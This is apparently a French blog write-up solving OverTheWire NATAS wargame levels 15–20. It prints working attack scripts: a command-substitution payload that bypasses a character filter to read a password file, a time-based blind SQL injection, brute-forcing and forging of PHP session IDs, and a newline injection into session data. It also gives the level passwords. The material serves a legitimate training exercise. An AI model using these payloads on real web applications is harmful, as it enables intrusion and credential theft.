Dans cette partie j'ai choisit de ne pas forcément fournir la version bash du code afin de ne pas la rallonger inutillement.
Level 15 -> 16
On commence par analyser le code de la regexp '/[;|&`\'"]/'
disponible dans le code source.
Pour faire simple et comme le montre regexp101,

On ne peut plus utiliser de:
; (point virgule)
| (pipe)
& (Esperluette)
` (Backslash)
' (Simple quote)
" (Doubloe quotes)
Voila qui complique un peu les choses.

Cette fois ci le code est solide, pas moyen de bypasser cette regexp.
Essayons d'être plus malin (oui elle est facile celle là).
En fouillant encore un peu, on se rend compte que l'on peut passer des commandes via la substitution de commande suivante: $()

Un peu comme dans le challenge précédent on va devoir dériver l'utilisation d'une fonction pour retrouver le mot de passe.
On sait que le mot de passe se situe ici:
/etc/natas_webpass/natas17
L'ideal serait de pouvoir l'afficher directement via une commande dans le genre de cat
mais pas moyen, le code nous renvoie soit quelque chose soit rien... Ca ne vous rappelle rien ? Et oui on est en face d'une fonction qui nous revoit un booléen.
On va donc utiliser grep
pour vérifier si la fonction renvoie quelque chose ou non.
Reprenons le code de notre challenge
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
L'idée pour retrouver le mot de passe de ce challenge c'est de demander si la lettre x
est bien la première du mot de passe.
Ensuite on demande si "xa" est bien le début du mot de passe et ainsi de suite. Pour ça on va utiliser grep
et une regexp tout bête: ^
$(grep ^x /etc/natas_webpass/natas17)
Si x
est bien la première lettre du mot de passe alors grep
retourne comme code de sortie 0 sinon il retourne 1.
A partir de là il ne reste plus qu'a écrire une boucle pour automatiser le process.

NB: Comme on passe notre payload via l'URL on ne peut pas utiliser d'espace directement, il faut donc les encoder par leur équivalent: %20
.
#!/bin/bash
user="natas16"
pass="WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
auth=$user":"$pass
url="http://natas16.natas.labs.overthewire.org/"
pass=""
for i in {1..32}
do
for x in {{a..z},{A..Z},{0..9}}
do
curl -s --user $auth "$url?needle=sonatas"'$(grep%20^'$pass$x'%20/etc/natas_webpass/natas17)' | grep sonatas
if [ $? -eq 1 ]
then
pass=$pass$x
echo $pass
fi
#sleep 1
done
done
./curl.payload17.sh |grep -vie sonatas
8
8P
8Ps
8Ps3
8Ps3H
8Ps3H0
[...]
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 16 -> 17
Cette fois çi le code source nous apprend que le serveur restera muet quoi qu'il arrive.

Quoi qu'il arrive ? Vraiment ? Et bien pas tout à fait... Si on s'en réfère a cet article, on peut utiliser une injection SQL basé sur le temps de réponse du serveur. On se retrouve alors dans la situation précédente où le serveur ne répondait seulement par "oui" ou par "non".

import requests
from requests.auth import HTTPBasicAuth
import string
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
headers = {'content-type': 'application/x-www-form-urlencoded'}
passwd = ""
allchars = string.ascii_letters + string.digits
for i in range(0,32):
for char in allchars:
payload = 'username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(5)%23'.format(passwd + char)
r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)
if(r.elapsed.seconds >= 5):
passwd = passwd + char
print(passwd)
break


Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 17 -> 18
Cette fois-ci s'en est fini des injections ! Maintenant place aux sessions PHP.
Et avec les sessions PHP: beaucoup de code !
Notre meilleur option est de suivre son déroulé linéairement et d'aviser au fur et à mesure.
Globalement le code redéfinit le principe de fonctionnement des sessions PHP.
Maintenant les sessions ont un ID définit entre 1 et 640.


Plus loin dans le code du système d'authetification d'un utilisateur nous est révélé.



Soyons curieux, pourquoi il existe une fonction my_session_start()
? Normalement les sessions en PHP sont déjà définit par le langage... Où se trouve la faille logique ?
Maintenant il faut se poser la bonne question, comment obtenir une session admin ?
La réponse est simple, on ne peut pas s'auto attribuer une session admin... Alors qu'est-ce qu'on peut faire ? On peut s'auto attribuer une session existante, et on peut énumérer les sessions jusqu’à ce qu'on tombe sur une session admin...

#!/usr/bin/env python
#coding: utf-8
import requests
from pprint import pprint
from requests.auth import HTTPBasicAuth
import time
basic = HTTPBasicAuth("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP")
for i in range(641):
c = i
cookies = {'PHPSESSID':str(c)}
url = "http://natas18.natas.labs.overthewire.org/index.php?debug"
r = requests.get(url, auth=basic, cookies=cookies)
pprint(cookies)
print r.text
if "Password" in r.text:
print r.text
break
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
Level 18 -> 19
Pour ce nouveau challenge: pas de code source et pas d'ID séquentiel !

Ok, il va falloir faire quelques tests pour comprendre le fonctionnement de l'ID de session

Maintenant inspectons les cookies pour voir comment fonctionnent les sessions ID de ce challenge.

On a donc une chaine de caractères alphanumérique de 22 caractères de long...
Il y a donc peu de chance que ca soit un hash.
Essayons de penser plus simple, que se passe-t-il si on demande plusieurs fois un ID ? Peut on déduire un principe de génération ?
Un petit bout de python suffira pour automatiser la génération d'ID.
#!/usr/bin/env python
#coding: utf-8
import requests
from pprint import pprint
from requests.auth import HTTPBasicAuth
basic = HTTPBasicAuth("natas19", "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs")
data_1 = {"username" : "admin", "password" : "test"}
url = "http://natas19.natas.labs.overthewire.org/index.php?debug"
for i in range(100):
s = requests.Session()
r = s.post(url, auth=basic, data = data_1)
print r.cookies

Comme on peut le voir sur cette capture, une partie de l'ID est toujours la même, seul le début change. Ca permet d'affirmer une chose: on n'a pas à faire à une fonction de hashage (car la différence entre 2 ID n'est pas très importante et que la longeur de la chaine de caratère n'est pas toujours la même).
Si ce n'est pas une fonction de hashage, il doit s'agir d'une methode d'encodage, à première vue ce n'est pas du base64... Cherchons plus simple comme par exemple de l'hexa !
#!/usr/bin/env python
#coding: utf-8
import requests
from pprint import pprint
from requests.auth import HTTPBasicAuth
basic = HTTPBasicAuth("natas19", "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs")
data_1 = {"username" : "SuperMan", "password" : "test"}
url = "http://natas19.natas.labs.overthewire.org/index.php?debug"
for i in range(10):
session = requests.Session()
response = session.post(url, auth=basic, data = data_1)
print session.cookies['PHPSESSID'].decode('hex')

Ok, donc le début est simplement un entier et le reste semble provenir de l'username que j'ai spécifié.
NB: Toujours utiliser des informations facilement reconaissables en tant que donnée d'entrée (par exemple SuperMan comme username)
Maintenant que l'on comprends le système de génération du cookie PHPSESSID
, il est temps de l'exploiter à notre avantage !
Avant de partir à l'assault faisont un petit listing
1) De quoi j'ai besoin ? D'une session admin
!
2) Comment l'obtenir ? En énumérant toutes les sessions jusqu'a trouver une session admin
3) Qu'est-ce que j'oublie ? Il faut que le cookie PHPSESSID
suive un pattern particulier.
from pprint import pprint
from requests.auth import HTTPBasicAuth
import requests
username = "natas19"
password = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
url = 'http://%s.natas.labs.overthewire.org/index.php?debug' % username
for i in range(641):
session = requests.Session()
cookies = {"PHPSESSID" : str("%d-admin" % i).encode('hex')}
print("Trying: " + str(i))
pprint(cookies)
response = session.post(url, cookies = cookies, auth = (username, password))
if "Session was old: admin flag set" not in response.text:
print response.text
break

And voilà !
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Level 19 -> 20
Toute la faisabilité de ce hack vient du fonctionnement de mywrite()
et de sa consœur myread()
.
Décomposons étapes par étapes. Commencons par mywrite()
.

La première partie de la fonction vérifie la valeur du $sid
. La second partie est en charge de sérialiser les données afin de pouvoir les enregistrer dans un fichier.
Première question, pourquoi ne pas utiliser les fonctions de sérialisation présentent par défaut dans le langage ?
Concentrons nous sur la deuxième partie de la fonction.
1) le nom du ficher de sauvegarde de la session est composé de mysess_
et de la valeur de $sid
2) Le tableau est trié suivant l'orde des clés
3) Pour chaque couple clé-valeur on le concatène dans la variable $data
4) Les données sont écrites dans le fichier déterminé à l'étape 1)
Maintenant allons voir le fonctionnement de sa consœur myread()

Là encore la fonction est composé de 2 morceaux.
La première partie vérifie que le $sid
est bon et que le fichier de sauvegarde existe bien.
La second partie est celle qui nous intèresse le plus.
1) La fonction commence par séparer les données ligne par ligne
2) Pour chaque ligne, on sépare les mots et on stocke la valeur dans la variable de session $SESSION
.
Mais comment peut on exploiter ça me direz vous ? Pour ça il faut comprendre comment fonctionne la fonction print_credentials()
.

Cette fonction se contente de chercher si il existe une variable de session $SESSION
et ensuite de vérifier si elle contient bien une clé admin
qui a pour valeur 1
.
Vous voyez comment exploiter la faille maintenant ? Eh oui, il suffit de se servir de mywrite()
afin de rajouter une variable admin
a notre session et de lui donner la valeur 1
.
#!/usr/bin/env python
#coding: utf-8
import requests
from pprint import pprint
from requests.auth import HTTPBasicAuth
basic = HTTPBasicAuth("natas20", "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF")
data_1 = {"name" : "SuperMan\nadmin 1"}
url = "http://natas20.natas.labs.overthewire.org/index.php?debug"
session = requests.Session()
r = session.get(url, auth=basic)
print r.text
print "=============================================="
response = session.post(url, auth=basic, data = data_1)
print response.text
print "=============================================="
response = session.get(url, auth=basic)
print response.text
print "="*80
Tout tient dans ligne suivante:
data_1 = {"name" : "SuperMan\nadmin 1"}
Il ne reste plus qu'a executer le code et voila !

Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
Voila qui conclu cette 3eme partie sur les challenges NATAS d'OverTheWire.